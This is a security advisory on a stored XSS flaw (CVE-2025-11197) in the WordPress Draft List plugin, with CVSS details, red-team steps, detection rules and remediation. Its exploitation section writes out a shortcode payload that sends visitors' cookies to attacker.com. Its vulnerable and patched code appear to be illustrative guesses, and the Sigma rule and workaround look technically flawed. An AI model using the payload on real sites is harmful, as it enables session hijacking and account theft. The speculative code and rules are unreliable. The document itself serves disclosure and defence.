CVE-2025-11197

Executive Summary

CVE-2025-11197 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Draft List plugin for WordPress in all versions up to and including 2.6.1. The flaw resides in the plugin's drafts shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute whenever a user accesses a page containing the malicious shortcode. This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Draft List plugin is distributed via the WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify the integrity of their plugin installations and monitor for updates from the plugin vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but can be exploited by low-privilege users. The stored XSS can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability exists in the drafts shortcode provided by the Draft List plugin. The shortcode accepts user-supplied attributes (e.g., category, status) that are directly rendered in the HTML output without proper sanitization or escaping. An attacker with contributor-level access can create a post or page containing the malicious shortcode, such as:

[drafts category="<script>alert('XSS')</script>"]

When the shortcode is processed, the unsanitized attribute value is injected into the page's HTML, causing the script to execute in the context of any user viewing the page. The lack of output escaping allows arbitrary JavaScript to be stored and executed persistently.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.6.1 and earlier):

// In draft-list.php
function drafts_shortcode($atts) {
    $category = $atts['category'];
    // Directly output without escaping
    echo '<div class="draft-list" data-category="' . $category . '">';
    // ... rest of the code
}

Patched Code (hypothetical fix):

function drafts_shortcode($atts) {
    $category = esc_attr($atts['category']); // Escape attribute
    echo '<div class="draft-list" data-category="' . $category . '">';
    // ... rest of the code
}

The fix involves using esc_attr() or wp_kses() to sanitize and escape user-supplied attributes before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Draft List plugin <= 2.6.1
• Authenticated user with contributor-level access or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious payload:

   [drafts category="<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"]
   

4. Publish the post.
5. Any user (including admins) viewing the post will have their cookies exfiltrated.

Alternative Payload (for defacement):

[drafts category="<img src=x onerror=alert('XSS')>"]

Blue Team

Detection:

• Monitor for posts/pages containing the [drafts shortcode with suspicious attributes.
• Look for unusual JavaScript in shortcode attributes.
• Use the Sigma rule below to detect exploitation attempts in web server logs.

Mitigation:

• Disable the Draft List plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/draft-list/draft-list.php (version <= 2.6.1)
• Shortcode pattern: [drafts category="<script>...</script>"]
• HTTP request parameter: category containing <script> tags
• Log entry: POST /wp-admin/post.php with content containing [drafts category=...]

Detection Engineering

YARA Rule

rule CVE_2025_11197_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Draft List plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11197"
    strings:
        $shortcode = /\[drafts\s+[^\]]*category\s*=\s*["'][^"']*<script/i
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2025-11197 - Stored XSS via Draft List Shortcode
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of Stored XSS in Draft List plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post.php'
        cs-uri-query|contains: 'content'
        cs-uri-query|contains: '[drafts'
        cs-uri-query|contains: 'category='
        cs-uri-query|re: '(<script|<img\s+onerror|<svg\s+onload)'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11197 - Stored XSS via Draft List Shortcode"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"content"; http_client_body; content:"[drafts"; http_client_body; content:"category="; http_client_body; pcre:"/(<script|<img\s+onerror|<svg\s+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Draft List plugin until a patched version is released.
2. Review all posts/pages for malicious shortcode usage and remove them.
3. Reset passwords for any users who may have been compromised.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement input validation and output escaping for all shortcode attributes.
• Use WordPress's built-in functions like esc_attr(), esc_html(), and wp_kses().

Workaround:

• Add a custom filter to sanitize shortcode attributes:

add_shortcode('drafts', function($atts) {
    $atts['category'] = esc_attr($atts['category']);
    // Original shortcode logic
});

Valters IT
Securing Digital Frontiers